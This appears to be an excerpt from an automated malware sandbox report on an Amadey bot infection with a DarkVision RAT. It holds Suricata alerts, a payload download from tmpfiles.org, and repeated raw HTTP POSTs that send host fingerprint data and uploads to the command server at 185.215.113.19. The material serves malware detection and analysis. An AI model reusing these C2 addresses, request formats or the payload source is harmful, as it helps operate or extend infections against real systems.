Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49724 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49727 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49729 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49732 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49734 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49736 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49737 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49740 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49742 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49745 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49748 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49750 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49752 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49754 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49755 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49758 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49760 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49761 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49763 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49766 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49768 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49770 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49772 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49773 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49775 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49778 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49780 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49783 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49785 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49789 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49791 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49792 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49794 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49796 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49799 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49801 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49804 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49807 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49809 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49811 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49814 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.19:80 -> 192.168.2.9:49813
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49816 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49817 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49818 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49819 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49822 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49826 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49829 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49834 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49837 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49840 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49843 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49842 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2045620 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M2 : 192.168.2.9:49843 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.9:49843 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49846 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49845 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49848 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49852 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49853 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.9:49851 -> 82.147.85.218:7785
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49850 -> 185.215.113.19:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 82.147.85.218 7785

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.215.113.19

Source: global traffic	HTTP traffic detected: GET /dl/14438655/stub4141_2024-10-16_10-48.exe HTTP/1.1Host: tmpfiles.org
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTEzODU=Host: 185.215.113.19Content-Length: 91537Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODkzMjU=Host: 185.215.113.19Content-Length: 89477Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODkzMjU=Host: 185.215.113.19Content-Length: 89477Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODk0MzQ=Host: 185.215.113.19Content-Length: 89586Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTA4NjU=Host: 185.215.113.19Content-Length: 91017Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NTg=Host: 185.215.113.19Content-Length: 85610Cache-Control: no-cache
